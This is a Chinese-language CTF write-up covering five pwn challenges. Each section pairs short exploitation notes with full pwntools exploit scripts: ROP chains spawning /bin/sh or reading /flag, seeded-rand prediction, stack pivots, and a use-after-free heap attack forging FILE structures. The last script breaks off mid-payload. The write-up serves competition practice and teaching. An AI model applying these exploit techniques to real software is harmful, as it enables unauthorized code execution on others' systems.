<content type="html" xml:base="https://imi-imiab.com/posts/cnblogs-18815248/"><![CDATA[<h1 id="nailong"><a href="https://imi-imiab.com/posts/cnblogs-18815248/#nailong" class="headerlink" title="nailong"></a>nailong</h1><p><img src="https://imi-imiab.com/images/posts/9a39c8a13b579231d67f.png" alt="image" loading="lazy" decoding="async"></p>
<p><code>int</code> -&gt; <code>uint</code> 如果输入负数就可以绕过“太高了”</p>
<p>接下来0是读，1是写，程序开头给了栈地址</p>
<p>虽然用time0加随机数了，但是只要我们本地也同样跑个time0就可以生成一样的随机数</p>
<p>分别把几个变量写掉后弄出任意读写原语后写orw即可</p>
<p>exp:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line"><span class="keyword">import</span> ctypes</span>
<span class="line"></span>
<span class="line">glibc = ctypes.CDLL(<span class="string">&quot;libc.so.6&quot;</span>)  </span>
<span class="line">glibc.srand(glibc.time(<span class="number">0</span>))</span>
<span class="line"></span>
<span class="line">filename=<span class="string">&#x27;./nailong&#x27;</span></span>
<span class="line">libc=<span class="string">&#x27;./libc.so.6&#x27;</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line">p=remote(<span class="string">&#x27;47.94.172.18&#x27;</span>,<span class="number">20519</span>)</span>
<span class="line">e=ELF(filename)</span>
<span class="line">libc=ELF(libc)</span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line">p.recvuntil(<span class="string">&#x27;rbp + offset:&#x27;</span>)</span>
<span class="line">offset = glibc.rand() % <span class="number">0x1B0</span> + <span class="number">80</span></span>
<span class="line">rbp=<span class="built_in">int</span>(p.recvuntil(<span class="string">&#x27;end&#x27;</span>,drop=<span class="literal">True</span>),<span class="number">10</span>)-offset</span>
<span class="line">sla(<span class="string">&quot;lou_ma\n&quot;</span>,<span class="string">&#x27;-1&#x27;</span>)</span>
<span class="line"><span class="keyword">def</span> <span class="title function_">r</span>(<span class="params">offset</span>):</span>
<span class="line">    sla(<span class="string">&#x27;bin/sh\n&#x27;</span>,<span class="string">&#x27;1&#x27;</span>)</span>
<span class="line">    sla(<span class="string">&#x27;do?\n&#x27;</span>,<span class="built_in">str</span>(offset))</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">w</span>(<span class="params">offset,content</span>):</span>
<span class="line">    sla(<span class="string">&#x27;bin/sh\n&#x27;</span>,<span class="string">&#x27;2&#x27;</span>)</span>
<span class="line">    sla(<span class="string">&#x27;do?&#x27;</span>,<span class="built_in">str</span>(offset))</span>
<span class="line">    sa(<span class="string">&#x27;want&#x27;</span>,content)</span>
<span class="line"></span>
<span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(rbp))</span>
<span class="line">stack=rbp</span>
<span class="line"></span>
<span class="line">w(stack-<span class="number">0x8044</span>,p32(-<span class="number">0x1000</span>,sign=<span class="string">&quot;signed&quot;</span>))</span>
<span class="line">w(stack-<span class="number">0x804C</span>,p32(-<span class="number">0x1000</span>,sign=<span class="string">&quot;signed&quot;</span>))</span>
<span class="line"></span>
<span class="line">r(e.got[<span class="string">&#x27;puts&#x27;</span>])</span>
<span class="line">paddr=u64(p.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>)</span>
<span class="line">libcbase=paddr-libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span>
<span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(paddr))</span>
<span class="line"></span>
<span class="line">rdi=libcbase+<span class="number">0x000000000002a3e5</span></span>
<span class="line">rax=libcbase+<span class="number">0x0000000000045eb0</span></span>
<span class="line">rsi=libcbase+<span class="number">0x000000000002be51</span></span>
<span class="line">rdx_rbx=libcbase+<span class="number">0x00000000000904a9</span></span>
<span class="line">sys_ret=libcbase+libc.search(asm(<span class="string">&#x27;syscall;ret&#x27;</span>)).__next__()</span>
<span class="line">ret=libcbase+<span class="number">0x000000000010f75b</span>+<span class="number">1</span></span>
<span class="line">binsh=libcbase+libc.search(<span class="string">&#x27;/bin/sh&#x27;</span>).__next__()</span>
<span class="line"><span class="comment"># Rop=p64(rdi)+p64(binsh)+p64(saddr)</span></span>
<span class="line">      <span class="comment"># rdi</span></span>
<span class="line">Rop=flat(</span>
<span class="line">&#123;</span>
<span class="line"><span class="number">0x0</span>:[p64(rdx_rbx),p64(<span class="number">0x100</span>),p64(<span class="number">0</span>),</span>
<span class="line">p64(rdi),p64(<span class="number">0xffffff9c</span>),p64(rax),p64(<span class="number">0x101</span>),</span>
<span class="line">p64(rsi),p64(rbp-<span class="number">0x4004</span>),p64(sys_ret),            <span class="comment"># rop</span></span>
<span class="line">p64(rdi),p64(<span class="number">3</span>),p64(rax),p64(<span class="number">0x0</span>),p64(sys_ret),</span>
<span class="line">p64(rax),p64(<span class="number">0x1</span>),p64(rdi),p64(<span class="number">0x1</span>),p64(sys_ret),</span>
<span class="line">]</span>
<span class="line">&#125;,filler=<span class="string">b&#x27;\x00&#x27;</span>)</span>
<span class="line"></span>
<span class="line">w(rbp-<span class="number">0x4004</span>,<span class="string">&#x27;/fla&#x27;</span>)</span>
<span class="line">w(rbp-<span class="number">0x4000</span>,<span class="string">&#x27;g\x00\x00&#x27;</span>)</span>
<span class="line"></span>
<span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,<span class="built_in">len</span>(Rop),<span class="number">4</span>):</span>
<span class="line">    w(rbp+<span class="number">8</span>+i,Rop[i:i+<span class="number">4</span>])</span>
<span class="line"></span>
<span class="line"></span>
<span class="line">pause()</span>
<span class="line">w(stack-<span class="number">0x803C</span>,p32(<span class="number">0</span>,sign=<span class="string">&quot;signed&quot;</span>))</span>
<span class="line"></span>
<span class="line">p.interactive()</span>
</pre></td></tr></table></figure>

<h1 id="libc-revenge"><a href="https://imi-imiab.com/posts/cnblogs-18815248/#libc-revenge" class="headerlink" title="libc-revenge"></a>libc-revenge</h1><p>莫名其妙的一道题，运行时自动崩溃</p>
<p>修了一遍，结果原来是加难度，我还以为修自动崩溃呢</p>
<p>setvbuf设置了全缓冲</p>
<p>利用puts后rdx=1重置stdin缓冲即可</p>
<p>当然，想那么做需要控制一下rdi和rsi</p>
<p>利用这几个gadgets</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">0x000000000040117d : pop rbp ; ret</span>
<span class="line"></span>
<span class="line">0x0000000000401180 : mov rdi, rsi ; ret</span>
<span class="line"></span>
<span class="line">0x00000000004010eb : add rsi, qword ptr [rbp + 0x20] ; ret</span>
<span class="line"></span>
<span class="line">0x00000000004010e4 : and rsi, 0 ; ret</span>
</pre></td></tr></table></figure>

<p>然后用rsi、rbp在0x403F50构造出got表地址，传给rdi后调用puts</p>
<p>接着rdi变成stdout，rsi变成0</p>
<p>控制到setvbuf泄露libc地址</p>
<p>接下来栈迁移到bss直接打栈溢出即可</p>
<p>exp：</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename=<span class="string">&#x27;./attachment_new&#x27;</span></span>
<span class="line">libc=<span class="string">&#x27;./libc.so.6&#x27;</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line">p=remote(<span class="string">&#x27;47.94.204.178&#x27;</span>,<span class="number">36889</span>)</span>
<span class="line">e=ELF(filename)</span>
<span class="line">libc=ELF(libc)</span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line">magic=<span class="number">0x00000000004011B7</span></span>
<span class="line">vsys=<span class="number">0xffffffffff600000</span></span>
<span class="line">si2di=<span class="number">0x0000000000401180</span></span>
<span class="line">call_re=<span class="number">0x40129E</span></span>
<span class="line">mov_di_jmp_ax=<span class="number">0x0000000000401107</span></span>
<span class="line">clear_rsi=<span class="number">0x00000000004010e4</span></span>
<span class="line">add_rsi=<span class="number">0x00000000004010eb</span></span>
<span class="line">feof=<span class="number">0x000000000401090</span></span>
<span class="line">fgetc=feof-<span class="number">0x10</span></span>
<span class="line">puts=fgetc-<span class="number">0x10</span></span>
<span class="line">setvbuf=<span class="number">0x0000000004010A0</span></span>
<span class="line">rbp=<span class="number">0x000000000040117d</span></span>
<span class="line">stdout=<span class="number">0x000000000404060</span></span>
<span class="line"></span>
<span class="line">pay=<span class="string">b&#x27;\x00&#x27;</span>*<span class="number">0x210</span>+p64(<span class="number">0</span>)+p32(<span class="number">0</span>)+<span class="string">b&#x27;\x28&#x27;</span>+p64(clear_rsi)+p64(rbp)+p64(<span class="number">0x403EF0</span>-<span class="number">0x20</span>+<span class="number">8</span>)</span>
<span class="line">pay+=p64(add_rsi)+p64(rbp)+p64(<span class="number">0x403F50</span>-<span class="number">0x20</span>+<span class="number">8</span>)+p64(add_rsi)</span>
<span class="line">pay+=p64(si2di)+p64(rbp)+p64(e.bss(<span class="number">0x900</span>))+p64(puts)</span>
<span class="line">pay+=p64(rbp)+p64(stdout-<span class="number">0x20</span>)+p64(clear_rsi)+p64(add_rsi)+p64(si2di)+p64(magic)+p64(e.bss(<span class="number">0x900</span>))+p64(<span class="number">0x401207</span>)</span>
<span class="line"></span>
<span class="line">sl(pay)</span>
<span class="line">p.recvuntil(<span class="string">&#x27;Revenge\n&#x27;</span>)</span>
<span class="line">paddr=u64(p.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>)</span>
<span class="line">libcbase=paddr-libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span>
<span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(libcbase))</span>
<span class="line"></span>
<span class="line">rdi=<span class="number">0x000000000002a3e5</span>+libcbase</span>
<span class="line">binsh=libc.search(<span class="string">&#x27;/bin/sh&#x27;</span>).__next__()+libcbase</span>
<span class="line">saddr=libcbase+libc.sym[<span class="string">&#x27;system&#x27;</span>]</span>
<span class="line"></span>
<span class="line"></span>
<span class="line">pay=<span class="string">b&#x27;x&#x27;</span>*<span class="number">0x210</span>+p64(<span class="number">0</span>)+p32(<span class="number">0</span>)+<span class="string">b&#x27;\x28&#x27;</span>+p64(rdi+<span class="number">1</span>)+p64(rdi)+p64(binsh)+p64(saddr)</span>
<span class="line">sl(pay)</span>
<span class="line">p.interactive()</span>
</pre></td></tr></table></figure>

<h1 id="EZ3-0"><a href="https://imi-imiab.com/posts/cnblogs-18815248/#EZ3-0" class="headerlink" title="EZ3.0"></a>EZ3.0</h1><p>救命我的程序怎么跑不起来</p>
<p>救命我的qemu怎么不起作用</p>
<p><img src="https://imi-imiab.com/images/posts/6b65672681311ac8457d.png" alt="image" loading="lazy" decoding="async"></p>
<p>诶，栈溢出？</p>
<p><img src="https://imi-imiab.com/images/posts/07000e917f24cb140f72.png" alt="image" loading="lazy" decoding="async"></p>
<p>诶，backdoor？</p>
<p>那不是秒了吗</p>
<p><img src="https://imi-imiab.com/images/posts/e3834ce4ee69c9651e6b.png" alt="image" loading="lazy" decoding="async"></p>
<p>可惜是ls，但是我们有</p>
<p><img src="https://imi-imiab.com/images/posts/77ab44dbad2e77cf7469.png" alt="image" loading="lazy" decoding="async"></p>
<p>ROPgadgets不能使用，但是我们很轻松就能在backdoor下面找到gadgets</p>
<p><img src="https://imi-imiab.com/images/posts/4bc18574d59a79cc59ad.png" alt="image" loading="lazy" decoding="async"></p>
<p>所以开个靶机直接打就行了，栈溢出的题，根本不需要本地调试！（大暴论）</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename=<span class="string">&#x27;./EZ3.0&#x27;</span></span>
<span class="line"><span class="comment"># libc=</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line"><span class="comment"># p=process(filename)</span></span>
<span class="line">e=ELF(filename)</span>
<span class="line"><span class="comment"># libc=ELF(libc)</span></span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"><span class="comment"># gdb.attach(p)</span></span>
<span class="line">p=remote(<span class="string">&#x27;47.94.103.208&#x27;</span>,<span class="number">26776</span>)</span>
<span class="line">useful=<span class="number">0x0411010</span></span>
<span class="line">gadget=<span class="number">0x0400A20</span></span>
<span class="line">saddr=<span class="number">0x0400B70</span></span>
<span class="line">door=<span class="number">0x04009C8</span></span>
<span class="line"><span class="comment"># pay=b&#x27;x&#x27;*36+p32(gadget)+p32(saddr)+p32(useful)</span></span>
<span class="line">pay=<span class="string">b&#x27;x&#x27;</span>*<span class="number">36</span>+p32(gadget)+p32(<span class="number">0xdeadbeaf</span>)+p32(saddr)+p32(useful)</span>
<span class="line">sl(pay)</span>
<span class="line"></span>
<span class="line">p.interactive()</span>
<span class="line"><span class="comment">#p=remote()</span></span>
</pre></td></tr></table></figure>

<h1 id="我去，舟！"><a href="https://imi-imiab.com/posts/cnblogs-18815248/#%E6%88%91%E5%8E%BB%EF%BC%8C%E8%88%9F%EF%BC%81" class="headerlink" title="我去，舟！"></a>我去，舟！</h1><p>前面的寻访模拟器完全是摆设，哎ctf圈不要再蹭我们方舟了</p>
<p><img src="https://imi-imiab.com/images/posts/9205de900252cbbe0320.png" alt="image" loading="lazy" decoding="async"></p>
<p>一个小栈溢出呀</p>
<p>覆盖rbp -&gt; bss栈迁移，然后在bss上写&#x2F;bin&#x2F;sh，就可以pop rdi再system乐</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename=<span class="string">&#x27;./arknights&#x27;</span></span>
<span class="line"><span class="comment"># libc=&#x27;&#x27;</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line">p=process(filename)</span>
<span class="line">e=ELF(filename)</span>
<span class="line"><span class="comment"># libc=ELF(libc)</span></span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"><span class="comment"># gdb.attach(p,&#x27;set follow-fork-mode parent\ngo&#x27;)</span></span>
<span class="line">rdi=<span class="number">0x00000000004018e5</span></span>
<span class="line">saddr=<span class="number">0x000000000401130</span></span>
<span class="line">sl(<span class="string">&#x27;&#x27;</span>)</span>
<span class="line">sl(<span class="string">&#x27;4&#x27;</span>)</span>
<span class="line">sl(<span class="string">&#x27;1&#x27;</span>)</span>
<span class="line">pay=<span class="string">b&#x27;x&#x27;</span>*<span class="number">0x40</span>+p64(e.bss(<span class="number">0x408</span>))+p64(<span class="number">0x0000000004018A8</span>)</span>
<span class="line">s(pay)</span>
<span class="line">pay=<span class="string">b&#x27;/bin/sh\x00&#x27;</span>*<span class="number">8</span>+p64(<span class="number">0</span>)+p64(rdi)+p64(e.bss(<span class="number">0x400</span>-<span class="number">0x20</span>))+p64(saddr)</span>
<span class="line">sleep(<span class="number">0.1</span>)</span>
<span class="line">s(pay)</span>
<span class="line">sleep(<span class="number">0.1</span>)</span>
<span class="line">sl(<span class="string">&#x27;exec 1&gt;&amp;2&#x27;</span>)</span>
<span class="line">p.interactive()</span>
<span class="line"></span>
<span class="line"><span class="comment">#p=remote()</span></span>
</pre></td></tr></table></figure>

<h1 id="heap2"><a href="https://imi-imiab.com/posts/cnblogs-18815248/#heap2" class="headerlink" title="heap2"></a>heap2</h1><p>朴实无华的板子题，free不清指针，没有edit也很简单呀</p>
<p>我去我板子坏了，这我得站起来打</p>
<ul>
<li>队友：救命！本地打通，远程打不通。<br>我：救命！板子坏了，把你们的板子给我啊啊啊啊啊啊！<br>队友：天啊要没时间了，这难道就是传说中的。。。三角洲行动！！！！<br>我：不是不是你快停下啊啊啊啊啊<br>&#x2F;* imiab退出了xyctf *&#x2F;</li>
</ul>
<p>如何进行堆布局？</p>
<p>显然，要避免使用小堆块，不然会分配到莫名其妙的地方，或者说在我们进行free的时候，对应的tcache已经满了，导致我们的堆进入了奇怪的bins。</p>
<p>由于show和add都有截断，所以没办法直接泄露，但是uaf又弥补了这点，经过简单的布局，我们可以轻松地拿到libc和haddr</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"></span>
<span class="line">add(<span class="number">0x518</span>) <span class="comment">#0</span></span>
<span class="line">add(<span class="number">0x508</span>) <span class="comment">#1</span></span>
<span class="line"></span>
<span class="line">free(<span class="number">1</span>)</span>
<span class="line">free(<span class="number">0</span>)</span>
<span class="line"></span>
<span class="line">add(<span class="number">0x508</span>) <span class="comment">#2</span></span>
<span class="line">add(<span class="number">0x518</span>) <span class="comment">#3</span></span>
<span class="line">add(<span class="number">0x518</span>) <span class="comment">#4</span></span>
<span class="line"></span>
<span class="line">free(<span class="number">3</span>)</span>
<span class="line">add(<span class="number">0x548</span>) <span class="comment">#5 -&gt;let unsorted put into large</span></span>
<span class="line"></span>
<span class="line">show(<span class="number">3</span>) <span class="comment"># -&gt; libc</span></span>
<span class="line">show(<span class="number">1</span>) <span class="comment"># -&gt; haddr</span></span>
<span class="line"></span>
<span class="line"><span class="comment"># 0x518</span></span>
<span class="line"><span class="comment"># fd      bk       # fd      &lt;- idx:3</span></span>
<span class="line"><span class="comment"># fd_next bk_next  # fd_next &lt;- idx:1</span></span>
</pre></td></tr></table></figure>

<p>然后，借用这个重叠，伪造tcache，free掉后直接打io list all<br><del>因为感觉在这种乱糟糟的布局里打large很糟心，而且我们也有足够的a数量去打tcache</del></p>
<p>一开始想要打stdout泄露env然后转打栈，但是失败了<br><del>io基础不牢固呃呃，不要拷打我口牙</del></p>
<p>最后就是无聊的调板子时间，因为fake io地址写错和magic填错了，结果没写出来<br><del>对的我在没有控制栈的情况下找带ret的gadgets</del></p>
<p>exp:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename=<span class="string">&#x27;./heap2&#x27;</span></span>
<span class="line">libc=<span class="string">&#x27;./libc.so.6&#x27;</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line">p=process(filename)</span>
<span class="line">e=ELF(filename)</span>
<span class="line">libc=ELF(libc)</span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line">gdb.attach(p,<span class="string">&#x27;b _IO_switch_to_wget_mode\ngo&#x27;</span>)</span>
<span class="line"><span class="comment"># p=remote(&#x27;39.106.48.123&#x27;,29826)</span></span>
<span class="line"></span>
<span class="line">cmd = <span class="keyword">lambda</span> choice: sa(<span class="string">b&#x27;&gt; &#x27;</span>, <span class="built_in">str</span>(choice).encode())</span>
<span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">size, content=<span class="string">b&#x27;\x00&#x27;</span></span>):</span>
<span class="line">    cmd(<span class="number">1</span>)</span>
<span class="line">    sa(<span class="string">b&#x27;size: &#x27;</span>, <span class="built_in">str</span>(size).encode())</span>
<span class="line">    sa(<span class="string">b&#x27;data: &#x27;</span>, content)</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">idx</span>):</span>
<span class="line">    cmd(<span class="number">2</span>)</span>
<span class="line">    sa(<span class="string">b&#x27;idx: &#x27;</span>, <span class="built_in">str</span>(idx).encode())</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">free</span>(<span class="params">idx</span>):</span>
<span class="line">    cmd(<span class="number">3</span>)</span>
<span class="line">    sa(<span class="string">b&#x27;idx: &#x27;</span>, <span class="built_in">str</span>(idx).encode())</span>
<span class="line"></span>
<span class="line">add(<span class="number">0x518</span>)<span class="comment">#0</span></span>
<span class="line">add(<span class="number">0x518</span>)<span class="comment">#1</span></span>
<span class="line">add(<span class="number">0x518</span>)<span class="comment">#2</span></span>
<span class="line">free(<span class="number">1</span>)</span>
<span class="line">show(<span class="number">1</span>)</span>
<span class="line"></span>
<span class="line">libcbase=u64(p.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>) - <span class="number">0x203b20</span></span>
<span class="line">env=libcbase+libc.sym[<span class="string">&#x27;environ&#x27;</span>]</span>
<span class="line">stdout=libcbase+libc.sym[<span class="string">&#x27;_IO_list_all&#x27;</span>]</span>
<span class="line"></span>
<span class="line">free(<span class="number">2</span>)</span>
<span class="line">free(<span class="number">0</span>)</span>
<span class="line">add(<span class="number">0x508</span>)<span class="comment">#3</span></span>
<span class="line">add(<span class="number">0x528</span>)<span class="comment">#4</span></span>
<span class="line">add(<span class="number">0x518</span>)<span class="comment">#5</span></span>
<span class="line"></span>
<span class="line">free(<span class="number">4</span>)</span>
<span class="line">add(<span class="number">0x538</span>)<span class="comment">#6</span></span>
<span class="line">show(<span class="number">1</span>)</span>
<span class="line"></span>
<span class="line">haddr=u64(p.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>)+<span class="number">0x20</span></span>
<span class="line"></span>
<span class="line">add(<span class="number">0x528</span>,p64(<span class="number">0</span>)+p64(<span class="number">0x401</span>))<span class="comment">#7</span></span>
<span class="line">add(<span class="number">0x3f1</span>)<span class="comment">#88</span></span>
<span class="line">free(<span class="number">8</span>)</span>
<span class="line">free(<span class="number">1</span>)</span>
<span class="line"></span>
<span class="line">free(<span class="number">7</span>)</span>
<span class="line"></span>
<span class="line">add(<span class="number">0x528</span>,p64(<span class="number">0</span>)+p64(<span class="number">0x401</span>)+p64((haddr&gt;&gt;<span class="number">12</span>)^(stdout))) <span class="comment">#9</span></span>
<span class="line">add(<span class="number">0x3f8</span>)</span>
<span class="line">add(<span class="number">0x3f8</span>,p64(haddr-<span class="number">0x10</span>))</span>
<span class="line"></span>
<span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(libcbase))</span>
<span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(haddr))</span>
<span class="line">magic=libcbase+<span class="number">0x00000000000a9b53</span></span>
<span class="line">magic=<span class="number">0x000000000010d05b</span>+libcbase</span>
<span class="line">magic=<span class="number">0x0000000000176f0e</span>+libcbase</span>
<span class="line">fake_io=haddr-<span class="number">0x10</span></span>
<span class="line">haddr=haddr-<span class="number">0x10</span></span>
<span class="line">IO_wfile_jumps=libcbase+libc.sym[<span class="string">&#x27;_IO_wfile_jumps&#x27;</span>]</span>
<span class="line">setcontext_61=libcbase+libc.sym[<span class="string">&#x27;setcontext&#x27;</span>]+<span class="number">61</span></span>
<span class="line">rdi=libcbase+<span class="number">0x000000000010f75b</span></span>
<span class="line">rax=libcbase+<span class="number">0x00000000000dd237</span></span>
<span class="line">rsi=libcbase+<span class="number">0x0000000000110a4d</span></span>
<span class="line">sys_ret=libcbase+<span class="number">0x000000000098FC5</span></span>
<span class="line">ret=libcbase+<span class="number">0x000000000010f75b</span>+<span class="number">1</span></span>
<span class="line">saddr=libcbase+libc.sym[<span class="string">&#x27;system&#x27;</span>]</span>
<span class="line">binsh=libcbase+libc.search(<span class="string">&#x27;/bin/sh&#x27;</span>).__next__()</span>
<span class="line">Rop=p64(rdi)+p64(binsh)+p64(saddr)</span>
<span class="line">orw=p64(setcontext_61)+p64(rdi)+p64(<span class="number">0xFFFFFF9C</span>)</span>
<span class="line"><span class="comment"># 0x0    rdi             0x8   _IO_read_ptr</span></span>
<span class="line"><span class="comment"># 0x10  _IO_read_end     0x18  _IO_read_base</span></span>
<span class="line"><span class="comment"># 0x20  _IO_write_base   0x28  _IO_write_ptr</span></span>
<span class="line"><span class="comment"># 0x30  _IO_write_end    0x38  _IO_buf_base</span></span>
<span class="line"><span class="comment"># 0x40  _IO_buf_end      0x48  _IO_save_base</span></span>
<span class="line"><span class="comment"># 0x50  _IO_backup_base  0x58  _IO_save_end</span></span>
<span class="line"><span class="comment"># 0x60  _markers         0x68  _chain</span></span>
<span class="line"><span class="comment"># 0x70  _fileno          0x74  _flags2</span></span>
<span class="line"><span class="comment"># 0x78  _old_offset      0x80  _cur_column</span></span>
<span class="line"><span class="comment"># 0x82  _vtable_offset   0x83  _shortbuf</span></span>
<span class="line"><span class="comment"># 0x88  _lock            0x90  _offset</span></span>
<span class="line"><span class="comment"># 0x98  _codecvt         0xa0  _wide_data</span></span>
<span class="line"><span class="comment"># 0xa8  _freeres_list    0xb0  _freeres_buf</span></span>
<span class="line"><span class="comment"># 0xb8  __pad5           0xc0  _mode</span></span>
<span class="line"><span class="comment"># 0xc4  _unused2         0xd8  vtable</span></span>
<span class="line"><span class="comment"># magic:0x176f0e : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]</span></span>
<span class="line"></span>
<span class="line">pay=flat(</span>
<span class="line">&#123;</span>
<span class="line"><span class="number">0x0</span>:[<span class="string">b&#x27;/flag\x00&#x27;</span>],     <span class="comment"># rdi=binsh</span></span>
<span class="line"><span class="number">0x20</span>:[p64(<span class="number">0</span>)],            <span class="comment"># write_base</span></span>
<span class="line"><span class="number">0x28</span>:[p64(<span class="number">1</span>)],            <span class="comment"># write_ptr --&gt; ptr &gt; base</span></span>
<span class="line"><span class="number">0xc0</span>:[p64(<span class="number">0</span>)],            <span class="comment"># _mode &lt;= 0</span></span>
<span class="line"><span class="number">0xd8</span>:[p64(IO_wfile_jumps+<span class="number">0x30</span>)],</span>
<span class="line"></span>
<span class="line"><span class="number">0x88</span>:[p64(haddr+<span class="number">0x90</span>),p64(<span class="number">0</span>),p64(<span class="number">1</span>)],   <span class="comment"># bypass lock</span></span>
<span class="line"></span>
<span class="line"><span class="number">0xA0</span>:[p64(fake_io+<span class="number">0xA8</span>),p64(<span class="number">0</span>),p64(<span class="number">1</span>)],</span>
<span class="line">(<span class="number">0xA0</span>+<span class="number">0x20</span>):[p64(<span class="number">0</span>)],</span>
<span class="line">(<span class="number">0xA0</span>+<span class="number">0x28</span>):[p64(<span class="number">1</span>)],            <span class="comment"># bypass check in wfile_seekoff</span></span>
<span class="line">(<span class="number">0xA0</span>+<span class="number">0x30</span>):[p64(<span class="number">1</span>)],            <span class="comment"># bypass check in wfile_seekoff</span></span>
<span class="line">(<span class="number">0xB0</span>+<span class="number">0xd8</span>):[p64(fake_io+<span class="number">0xB0</span>+<span class="number">0xd8</span>)], <span class="comment"># fake wfile vtable</span></span>
<span class="line">(<span class="number">0xB0</span>+<span class="number">0xd8</span>+<span class="number">0x18</span>):[p64(magic)],   <span class="comment"># call entry</span></span>
<span class="line">(<span class="number">0xB0</span>+<span class="number">0xd8</span>+<span class="number">0x18</span>+<span class="number">0x20</span>):[p64(fake_io+<span class="number">0xB0</span>+<span class="number">0xd8</span>+<span class="number">0x18</span>+<span class="number">0x28</span>)],</span>
<span class="line">(<span class="number">0xB0</span>+<span class="number">0xd8</span>+<span class="number">0x18</span>+<span class="number">0x48</span>):[p64(setcontext_61)],</span>
<span class="line">(<span class="number">0x1C8</span>+<span class="number">0xA0</span>):[p64(fake_io+<span class="number">0x280</span>)],    <span class="comment"># rsp</span></span>
<span class="line">(<span class="number">0x1C8</span>+<span class="number">0x68</span>):[p64(<span class="number">0xffffff9c</span>)],       <span class="comment"># rdi</span></span>
<span class="line">(<span class="number">0x1C8</span>+<span class="number">0xA8</span>):[p64(rax)],              <span class="comment"># ret_addr</span></span>
<span class="line">(<span class="number">0x1C8</span>+<span class="number">0x88</span>):[p64(<span class="number">0x100</span>)],            <span class="comment"># rdx</span></span>
<span class="line">(<span class="number">0x1C8</span>+<span class="number">0x70</span>):[p64(fake_io)],          <span class="comment"># rsi</span></span>
<span class="line">(<span class="number">0x280</span>):[p64(<span class="number">0x101</span>),p64(sys_ret),            <span class="comment"># rop</span></span>
<span class="line">p64(rdi),p64(<span class="number">3</span>),p64(rax),p64(<span class="number">0x0</span>),p64(sys_ret),</span>
<span class="line">p64(rax),p64(<span class="number">0x1</span>),p64(rdi),p64(<span class="number">0x1</span>),p64(sys_ret),</span>
<span class="line">]</span>
